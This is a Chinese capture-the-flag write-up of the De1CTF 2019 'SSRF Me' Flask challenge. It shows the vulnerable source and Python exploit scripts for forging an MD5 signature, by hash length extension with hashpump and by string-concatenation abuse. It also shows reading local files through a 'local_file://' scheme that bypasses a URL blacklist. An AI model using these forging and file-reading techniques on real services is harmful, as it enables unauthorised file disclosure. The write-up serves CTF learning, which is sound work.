[De1CTF 2019]SSRF Me
原帖地址 : https://xz.aliyun.com/t/5927
De1CTF 2019 的一个题目总结
题目描述
直接查看页面源代码可以看到正确格式的代码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json reload(sys)
sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox) def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False #generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param) @app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read() def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout" def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest() def md5(content):
return hashlib.md5(content).hexdigest() def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
提示给的是 flag 在 ./flag.txt 中,题目单词打错了
python 的 flask 框架,三个路由,index 用于获取源码,geneSign 用于生成 md5,De1ta 就是挑战
大概思路就是在 /De1ta 中 get param ,cookie action sign 去读取 flag.txt,其中,
param=flag.txt
,action
中要含有read
和scan
,且sign=md5(secert_key + param + action)
哈希拓展攻击
这是这道题最多的解法,介绍 : https://joychou.org/web/hash-length-extension-attack.html
secert_key
是一个长度为 16 的字符串,在/geneSign?param=flag.txt
中可以获取md5(secert_key + 'flag.txt' + 'scan')
的值,为8370bdba94bd5aaf7427b84b3f52d7cb
,而目标则是获取md5(secert_key + 'flag.txt' + 'readscan')
的值使用 hashpump 即可
root@peri0d:~/HashPump# hashpump
Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
Input Data: scan
Input Key Length: 24
Input Data to Add: read
d7163f39ab78a698b3514fd465e4018a
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
exp :
import requests url = 'http://139.180.128.86/De1ta?param=flag.txt' cookies = {
'sign': 'd7163f39ab78a698b3514fd465e4018a',
'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
} res = requests.get(url=url, cookies=cookies)
print(res.text)
字符串拼接
试着访问了一下
/geneSign?param=flag.txt
,给出了一个 md58370bdba94bd5aaf7427b84b3f52d7cb
,但是只有scan
的功能,想加入read
功能就要另想办法了def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
看了一下逻辑,在 getSign 处很有意思,这个字符串拼接的就很有意思了
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
不妨假设
secert_key
是xxx
,那么在开始访问/geneSign?param=flag.txt
的时候,返回的 md5 就是md5('xxx' + 'flag.txt' + 'scan')
,在 python 里面上述表达式就相当于md5(xxxflag.txtscan)
,这就很有意思了。直接构造访问
/geneSign?param=flag.txtread
,拿到的 md5 就是md5('xxx' + 'flag.txtread' + 'scan')
,等价于md5('xxxflag.txtreadscan')
,这就达到了目标。
直接访问
/De1ta?param=flag.txt
构造 cookieaction=readscan;sign=7cde191de87fe3ddac26e19acae1525e
即可
local_file
天枢大佬们的做法 : https://xz.aliyun.com/t/5921#toc-16
放上他们的 exp :
import requests
conn = requests.Session() url = "http://139.180.128.86"
def geneSign(param):
data = {
"param": param
}
resp = conn.get(url+"/geneSign",params=data).text
print resp
return resp def challenge(action,param,sign):
cookie={
"action":action,
"sign":sign
}
params={
"param":param
}
resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
sign = geneSign("{}read".format(filename.format(i)))
resp = challenge("readscan",filename.format(i),sign)
if("title" in resp):
a.append(i)
print resp,i
print a
请求
/geneSign?param=local_file:///app/flag.txtread
获取 md5 值为60ff07b83381a35d13caaf2daf583c94
,即md5(secert_key + 'local_file:///app/flag.txtread' + 'scan')
然后再请求
/De1ta?param=local_file:///app/flag.txt
构造 cookieaction=readscan;sign=60ff07b83381a35d13caaf2daf583c94
以上就是他们 exp 做的事情,和上一个方法差不多
关于
local_file
:这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径
flag.txt
或./flag.txt
去访问,也可以使用类似的file:///app/flag.txt
去访问,但是file
关键字在黑名单里,可以使用local_file
代替如果使用 urllib2.urlopen(param) 去包含文件就必须加上
file
,否则会报ValueError: unknown url type: /path/to/file
的错误
[De1CTF 2019]SSRF Me的更多相关文章
- 刷题记录:[De1CTF 2019]SSRF Me
目录 刷题记录:[De1CTF 2019]SSRF Me 一.涉及知识点 1.MD5长度扩展攻击 2.Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI ...
- 刷题[De1CTF 2019]SSRF Me
前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...
- BUUCTF | [De1CTF 2019]SSRF Me
解法一字符串拼接: 1.得到签名sign http://8fa4531c-1164-49b7-a700-70e77e6aacb7.node3.buuoj.cn/geneSign?param=flag. ...
- [De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948
0x00 打开题目查看源代码,开始审计 这里贴上网上师傅的博客笔记: https://xz.aliyun.com/t/6050 #! /usr/bin/env python #encoding=utf ...
- 刷题记录:[De1CTF 2019]Giftbox && Comment
目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...
- [De1CTF 2019]Giftbox 分析&&TPOP学习
[De1CTF 2019]Giftbox 刚进来我以为是直接给了shell,恐怖如斯. 随便扔了个命令,之后就没然后了,hhh,截包发现可能存在sql注入. 然后我就不会了... what i lea ...
- BUUCTF知识记录
[强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...
- BUUCTF WEB
BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...
- 刷题记录:[De1ctf] shell shell shell
目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...
随机推荐
- spring boot项目打war包
1.如果有本地依赖,添加本地依赖到maven <!--lib目录下的jar包--> <dependency> <groupId>com.dm</groupId ...
- msys2 mingw64安装
(1)安装msys2 (2)更新\etc\pacman.d\下的源文件 mirrorlist.msys Server = http://repo.msys2.org/msys/$arch/ Serve ...
- 微服务交付至kubernetes流程
目录 1.微服务简介 2.K8s部署微服务考虑的问题 3.项目迁移到k8s流程 1.微服务简介 微服务优点 服务组件化 每个服务独立开发.部署,有效避免一个服务的修改引起整个系统重新部署 技术栈灵活 ...
- Tensorboard 详解(上篇)
花间提壶华小厨 1. Tensorboard简介 对大部分人而言,深度神经网络就像一个黑盒子,其内部的组织.结构.以及其训练过程很难理清楚,这给深度神经网络原理的理解和工程化带来了很大的挑战.为了解决 ...
- Oracle 10g客户端的安装和配置
1.双击Oracle11g_database安装目录下的Setup.exe. 2.选择“基本安装”,设置“安装位置”,填写“数据库名”和“口令”,点击“下一步”. 3.点击“下一步”. 4.一般会出现 ...
- MATLAB 排序、拟合
一.数据排序整合 1.随机生成的数,从小到大排序 clear rand('seed',1)%设置随机种子,确保随机数一样 edge_range=unifrnd (1, 10, 1, 10) edge_ ...
- ShardingJDBC的基本配置和使用
一.ShardingSphere介绍 ShardingSphere是一套开源的分布式数据库中间件解决方案组成的生态圈,它由Sharding-JDBC.Sharding-Proxy和Sharding-S ...
- Python第三方包之PrettyTable
Python第三方包之PrettyTable 可以让我们将数据用表格的方式展示出来 安装方式 pip install PrettyTable 测试是否安装成功 使用方法与对比 增加一条数据 先简单的看 ...
- 【WPF学习】第六十四章 构建基本的用户控件
创建一个简单用户控件是开始自定义控件的好方法.本章主要介绍创建一个基本的颜色拾取器.接下来分析如何将这个控件分解成功能更强大的基于模板的控件. 创建基本的颜色拾取器很容易.然而,创建自定义颜色拾取器仍 ...
- D - Super Jumping! Jumping! Jumping!
Nowadays, a kind of chess game called "Super Jumping! Jumping! Jumping!" is very popular i ...